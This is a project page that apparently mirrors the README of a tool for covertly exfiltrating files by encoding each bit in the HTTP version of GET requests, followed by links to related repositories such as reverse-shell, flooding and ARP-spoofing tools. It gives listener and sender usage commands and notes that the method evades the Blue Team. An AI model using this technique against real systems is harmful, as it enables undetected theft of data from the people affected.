Exfiltrate files using the HTTP protocol version ("HTTP/1.0" is a 0 and "HTTP/1.1" is a 1)

Last update: Apr 30, 2022

Related tags

Overview

http-protocol-exfil

Use the HTTP protocol version to send a file bit by bit ("HTTP/1.0" is a 0 and "HTTP/1.1" is a 1). It uses GET requests so the Blue Team would only see the requests to your IP address. However, it takes a long time to send bigger files, for example it needs 1 hour to send 200 KB, and the amount of requests would be very high (8 times the number of bytes of the file).

Create listener

To run the listener use listener.py with one optional argument: the port it will be listening in.

python3 listener.py [PORT]

Example:

python3 listener.py 8080

Send a file

To send a file use sender.py with two mandatory arguments: the file path and the url of the listener; and one optional argument: the name of the file created remotely (if not used, the name of the input file is used).

python3 sender.py -u URL -i INPUTFILE [-o OUTPUTFILE]

Example:

python3 sender.py -u "http://127.0.0.1:8080" -i test.txt -o updated_test.txt

Example

First the file is sent:

If the variable debug is set to True (it is by default) you can see the binary values in the listener log messages:

The new file is created with the content of the input file:

Motivation

I think (I am not sure) I read someone on Twitter who claimed to have used this to exfiltrate data and I liked the idea, if you are that person let me know.

Serves some data over HTTP, once. Based on the built-in Python module http.server

serve-me-once Serves some data over HTTP, once. Based on the built-in Python module http.server.

2 Jan 6, 2022

NetMiaou is an crossplatform hacking tool that can do reverse shells, send files, create an http server or send and receive tcp packet

5 Oct 5, 2022

Exfiltrate files using the HTTP protocol version ("HTTP/1.0" is a 0 and "HTTP/1.1" is a 1)

Related tags

Overview

http-protocol-exfil

Create listener

Send a file

Example

Motivation

You might also like...

Serves some data over HTTP, once. Based on the built-in Python module http.server

NetMiaou is an crossplatform hacking tool that can do reverse shells, send files, create an http server or send and receive tcp packet

A library for interacting with APNs and VoIP using HTTP/2.

An improved version of the original AutoDD

BibleNotifyDesktop - Desktop version of Bible Notify

Take a list of domains and probe for working HTTP and HTTPS servers

Python 3 tool for finding unclaimed groups on Roblox. Supports multi-threading, multi-processing and HTTP proxies.

QUIC and HTTP/3 implementation in Python

This tools just for education only - Layer-7 or HTTP FLOODER

Releases(1.0)

1.0(Oct 23, 2021)

Owner

Ricardo Ruiz

A Python script that alerts via SMS when a stock is reaching an inflection point

Arp-spoofing, this script was written for people who want to spoof any vulnerable machine such as Wİndows, of course it could have been more sophisticatedly created but these repos will be updated constantly

Pteronode - Script for managing Pterodactyl nodes

This repository contain sample code of gRPC Communication between Python and GoLang

Ip-Tracker: a script written in python for tracking Someone using targets ip-Tracker address

Makes dynamically updating your Cloudflare DNS records a bit easier ⏩👍😎

D-dos attack GUI tool written in python using tkinter module

This script helps us to add IP, host name entry in hosts file and create directory run nmap scan and directory scan with your favourite tools

boofuzz: Network Protocol Fuzzing for Humans

Exfiltrate files using the HTTP protocol version ("HTTP/1.0" is a 0 and "HTTP/1.1" is a 1)

Very simple and tiny file sharing service written in python

BlueHawk is an HTTP/1.1 compliant web server developed in python

🌐 Tools for Networking

A Calendar subscribe server for python

Simple Port Scanner script written in Python, plans is to expand upon this script to turn it into a GUI based pen testing suite

wg-exporter is a simple yet effective Prometheus exporter for Wireguard

Search ports in multiples hosts

Malcolm is a powerful, easily deployable network traffic analysis tool suite for full packet capture artifacts (PCAP files) and Zeek logs.

Multipurpose Growtopia Server tools, can be used for newbie to learn things.

Simple P2P application for sending files over open and forwarded network ports.